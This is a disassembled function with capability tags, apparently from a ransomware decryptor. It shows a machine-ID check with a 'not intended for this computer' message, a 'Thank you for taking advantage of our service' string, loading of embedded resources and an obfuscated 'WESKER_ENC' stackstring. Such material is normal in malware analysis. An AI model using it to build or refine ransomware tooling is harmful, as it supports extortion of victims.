Function at 0x402260
Capabilities:
Contain obfuscated stackstrings
Create thread
Extract resource via kernel32 functions
Get common file path
Get graphical window text
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push edi
push 0
push 0xf060
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push eax
call dword [sym.imp.USER32.dll_DeleteMenu]
push str.mode_con_COLS700
call fcn.0040513c
add esp, 4
push 3
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x20000000
push 0xd
push 0x104
call esi
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xa
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push str.________________________n_______________________________________________n_______________________________________________n_______________________________________________n_______________________________________________n_______________________________________________n________________________n
call fcn.00402630
add esp, 4
lea ecx, [ebp - 0x80]
call fcn.004020a0
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0xa
push 0x8b
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea ecx, [edi + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
mov esi, eax
push ebx
push esi
call fcn.004123e0
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x80]
push edi
push esi
call fcn.00402180
add esp, 0x14
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x402384
push str.This_is_decryptor_is_not_intended_for_this_computer_or_OS____
push str._n_s_n_n
call fcn.00402630
push str.Press_any_key_to_exit_the_application...
push 0x419aa4
call fcn.00402630
push str.pause_nul
call fcn.0040513c
add esp, 0x14
push 0x29a
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Thank_you_for_taking_advantage_of_our_service_:D
push str._n_s_n
call fcn.00402630
push str.Please_wait_for_the_operation_to_be_completed__this_window_will_be_closed_automatically_when_operations_are_completed_
push 0x419b68
call fcn.00402630
add esp, 0x10
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0x402040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
push 0x7a
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x18], ebx
lea ecx, [ebx + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push ebx
push edi
push eax
mov dword [ebp - 0x1c], eax
call fcn.004123e0
add esp, 0xc
push 0xa
push 0x9d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0xc], ebx
lea ecx, [ebx + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push ebx
push edi
push eax
mov dword [ebp - 0x14], eax
call fcn.004123e0
add esp, 0xc
push 0xa
push 0xc2
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x10], esi
lea ecx, [esi + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
mov ebx, eax
push edi
push ebx
call fcn.004123e0
add esp, 0xc
push 0xa
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
lea ecx, [eax + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [ebp - 8]
mov esi, eax
push edi
push esi
call fcn.004123e0
push dword [ebp - 0xc]
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x80]
push dword [ebp - 0x14]
call fcn.00402180
push dword [ebp - 0x10]
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x80]
push ebx
mov dword [ebp - 0x14], eax
call fcn.00402180
mov ebx, dword [ebp - 8]
lea ecx, [ebp - 0x80]
mov edx, dword [ebp - 4]
mov edi, eax
push ebx
push esi
call fcn.00402180
push dword [ebp - 0x18]
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x80]
push dword [ebp - 0x1c]
mov esi, eax
mov dword [ebp - 8], esi
call fcn.00402180
mov edx, dword [ebp - 0xc]
add esp, 0x2c
xor ecx, ecx
mov dword [ebp - 0x1c], eax
test edx, edx
je 0x402565
mov esi, dword [ebp - 0x14]
sub esi, 0x41c1c0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esi + ecx + 0x41c1c0]
mov byte [ecx + 0x41c1c0], al
inc ecx
cmp ecx, edx
jb 0x402550
mov esi, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
xor ecx, ecx
test edx, edx
je 0x402592
sub edi, 0x41c200
nop dword [eax]
nop dword [eax + eax]
mov al, byte [edi + ecx + 0x41c200]
mov byte [ecx + 0x41c200], al
inc ecx
cmp ecx, edx
jb 0x402580
xor eax, eax
test ebx, ebx
je 0x4025b2
sub esi, 0x41c220
nop
mov cl, byte [esi + eax + 0x41c220]
mov byte [eax + 0x41c220], cl
inc eax
cmp eax, ebx
jb 0x4025a0
push dword [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 0x38], 0x450057
push 0x41c650
mov dword [ebp - 0x34], 0x4b0053
mov dword [ebp - 0x30], 0x520045
mov dword [ebp - 0x2c], 0x45005f
mov dword [ebp - 0x28], 0x43004e
mov word [ebp - 0x24], ax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x38]
push eax
push 0x41c650
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x410
push 0x41c240
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
call fcn.00401f90
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret